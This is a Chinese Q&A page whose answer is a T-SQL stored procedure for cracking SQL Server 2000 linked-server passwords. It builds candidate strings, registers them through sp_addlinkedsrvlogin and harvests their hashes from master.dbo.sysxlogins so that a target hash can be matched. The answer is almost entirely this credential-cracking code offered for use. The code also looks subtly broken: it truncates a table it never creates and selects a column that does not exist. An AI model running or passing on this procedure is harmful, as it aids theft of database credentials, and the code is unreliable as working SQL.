如何将SQLServer 2000链接服务器的密码破解为明文

如题所述

create procedure pwd
@pwd sysname = NULL
AS
declare @ss varchar(256),@str varchar (256),@getpass varbinary(256)

truncate table mssql
create table #t (inetpub nvarchar(500))
select @ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[]\;,./~!@#$%^&*()_+{}|:<>?'
declare @index int
select @index=1
while (@index <=len(@ss))
begin
insert #t(inetpub) select SUBSTRING (@ss,@index,1)
select @index = @index +1
select @str=@pwd+inetpub from #t
exec master.dbo.sp_addlinkedsrvlogin 'dhlinkserver','false',Null,'xxxx',@str
select @getpass = password from master.dbo.sysxlogins where name ='xxxx'
insert into mssql(pass,code) values (@str,@getpass)
end
select list,pass,master.dbo.fn_VarBinToHexStr(code)code from mssql
drop table #t
温馨提示:答案为网友推荐,仅供参考
相似回答